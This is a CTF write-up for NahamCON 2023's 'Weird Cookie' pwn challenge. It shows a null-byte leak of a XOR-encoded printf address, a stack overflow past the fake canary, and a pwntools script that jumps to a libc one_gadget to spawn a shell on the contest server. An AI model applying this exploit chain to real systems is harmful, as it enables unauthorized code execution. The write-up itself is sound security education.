NahamCON CTF 2023: Weird Cookie

Something's a little off about this stack cookie...

TL;DR

The "canary" turns out to be a XORed printf address. Exploit a null-byte leak with reads to leak the stack canary, followed by the utilization of One Gadget to defeat buffer size restriction.

Basic File Checks

The challenge name itself suggests the existence of a stack canary, and thus this might just be a classic canary leak + rewrite challenge.

┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/Weird Cookie]
└─$ ./weird_cookie 
Do you think you can overflow me?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Are you sure you overflowed it right? Try again.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nope. :(

However, checking the binary protection shows that a stack canary is in fact missing.

┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/Weird Cookie]
└─$ checksec --file=weird_cookie 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   75 Symbols        No    0               3               weird_cookie

Static Code Analysis

Based on the decompiled code, the hardcoded canary value is easily visible, meaning that we just have to rewrite the canary value, thereby saving us the effort and time to hunt for a read primitive that can be used to leak the stack canary.

Next, the program will store the user input inside the local_38 variable with read() function, reading up to a maximum of 64 bytes (0x40) bytes. This is an obvious buffer overflow because local_38 can only hold up to 40 bytes.

undefined8 main(void)

{
  char local_38 [40];
  long local_10;
  
  setup();
  local_10 = 0x123456789aac8ee9;
  saved_canary = 0x123456789aac8ee9;
  memset(local_38,0,0x28);
  puts("Do you think you can overflow me?");
  read(0,local_38,0x40);
  puts(local_38);
  memset(local_38,0,0x28);
  puts("Are you sure you overflowed it right? Try again.");
  read(0,local_38,0x40);
  if (local_10 != saved_canary) {
    puts("Nope. :(");
    exit(0);
  }
  return 0;
}

Revisiting Exploit Plan

Our initial plan was to rewrite the canary value and exploit the buffer overflow to control the EIP and hopefully direct program execution to a win() function. However, a win() function simply did not exist in the challenge, so we had to improvise to a ret2libc attack instead.

Analyzing the decompiled code and assembly for a second time revealed that the hardcoded canary is in fact an encrypted version of printf address. The hardcoded value visible from the previous section was instead the XOR key.

Finding Read Primitive

Now, because PIE is enabled, we need to find a way, or a read primitive to leak the encrypted canary on runtime, and decrypt it with the hardcoded XOR key.

Conveniently, since the read() function does not perform any string termination, it will cause some data to be leaked when we overwrite the null byte. As a result, supplying exactly 40 characters as the user input will leak the XOR-ed canary.

┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/Weird Cookie]
└─$ ./weird_cookie              
Do you think you can overflow me?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*�M�)4
Are you sure you overflowed it right? Try again.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nope. :(

One Gadget

To sum up, the current plan is to leak the XOR-ed printf address, then perform a ret2libc attack. But since the buffer size is not large enough, we can only accommodate 24 bytes worth of addresses after the buffer overflow (64-40=24), meaning ret2libc attack will not be possible.

Deducting 8 bytes required for the canary rewrite, and another 8 bytes for stack alignment, means that we have to overwrite the saved EIP with only a single address.

Luckily, we can use one_gadget to help us spawn a shell, using just a single address.

┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/Weird Cookie]
└─$ one_gadget ./libc-2.27.so
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Solution

Putting everything together, the stack canary (8 bytes) + ret gadget (8 bytes) + one gadget (8 bytes) = 24 bytes in total, which is just exactly enough to fit in the limited buffer space.

solve.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

elf = ELF('./weird_cookie')
rop = ROP(elf)

local = False

if(local == True):
	p = elf.process()
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)
else:
	p = remote('challenge.nahamcon.com', 32268)
	libc = ELF('./libc-2.27.so', checksec = False)

payload = b"A" * 40
p.sendafter(b"?\n", payload)
p.recvuntil(payload) # receive all 40 A's

stack_canary = u64(p.recv(8).ljust(8, b"\x00")) # XORed printf leak
print("Leaked Canary: ", hex(stack_canary))

decrypted_stack_canary = stack_canary ^ 0x123456789ABCDEF1
print("Decoded Canary: ", hex(decrypted_stack_canary ))

libc.address = decrypted_stack_canary - libc.symbols["printf"]
print("Leaked LIBC Base Address: ", hex(libc.address))

payload = b"A" * 40
payload += p64(stack_canary)
payload += p64((rop.find_gadget(['ret']))[0]) 
payload += p64(libc.address + 0x4f2a5) # one gadget

p.sendafter(b".\n", payload)
p.interactive()
┌──(kali💀JesusCries)-[~/Desktop/CTF/NahamCon CTF 2023/Weird Cookie]
└─$ ./solve.py
[*] '/home/kali/Desktop/CTF/NahamCon CTF 2023/Weird Cookie/weird_cookie'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './weird_cookie'
[+] Opening connection to challenge.nahamcon.com on port 32268: Done
Leaked Canary:  0x123429dc0c58a0b1
Decoded Canary:  0x7fa496e47e40
Leaked LIBC Base Address:  0x7fa496de3000
[*] Switching to interactive mode
$ cat flag.txt
flag{e87923d7cd36a8580d0cf78656d457c6}

Flag: flag{e87923d7cd36a8580d0cf78656d457c6}

Last updated